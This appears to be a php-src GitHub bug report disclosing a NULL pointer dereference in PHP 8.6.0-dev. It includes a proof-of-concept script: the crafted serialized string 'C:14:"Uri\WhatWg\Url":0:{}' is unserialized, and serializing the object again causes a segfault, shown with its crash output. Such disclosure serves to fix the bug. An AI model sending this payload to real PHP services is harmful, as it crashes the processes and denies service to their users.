[php-src] Issue #22046: The unserialize function with Uri\WhatWg\Url leads to NULL pointer dereference when object serialized back
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Issue: https://github.com/php/php-src/issues/22046
Author: 012git012
### Description
### Description
Version: PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Researcher: Igor Sak-Sakovskiy (Positive Technologies)
Language assembly and compilation.
Listing 1. Language assembly and compilation.
```
$ git clone https://github.com/php/php-src.git
$ cd php-src
$ ./buildconf
$ ./configure
$ make -j8
$ ./sapi/cli/php -v
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
Copyright © The PHP Group and Contributors
Zend Engine v4.6.0-dev, Copyright © Zend by Perforce
with Zend OPcache v8.6.0-dev, Copyright ©, by Zend by Perforce
```
The source code.
Listing 2. The source code
```
<?php
$payload = 'C:14:"Uri\WhatWg\Url":0:{}';
$obj = unserialize($payload); // Successful unserialization
var_dump($obj); // Object created
// Crash occurs here:
$serialized = serialize($obj); // Access violation / Segmentation fault
?>
```
Executing this PHP code results in Segmentation fault due to NULL pointer dereference, leading to Denial of Service (DoS).
Listing 3.
```
$ ./php-src/sapi/cli/php poc.php
Warning: Class Uri\WhatWg\Url has no unserializer in /home/administrator/Temp/poc.php on line 4
object(Uri\WhatWg\Url)#1 (0) {
}
Segmentation fault (core dumped)
```
NULL pointer dereference leads to process crash, causing Denial of Service. In ZTS mode, this can stop all currently served requests in the process.
### PHP Version
```plain
PHP 8.6.0-dev (cli) (built: May 13 2026 08:43:46) (NTS DEBUG)
```
### Operating System
_No response_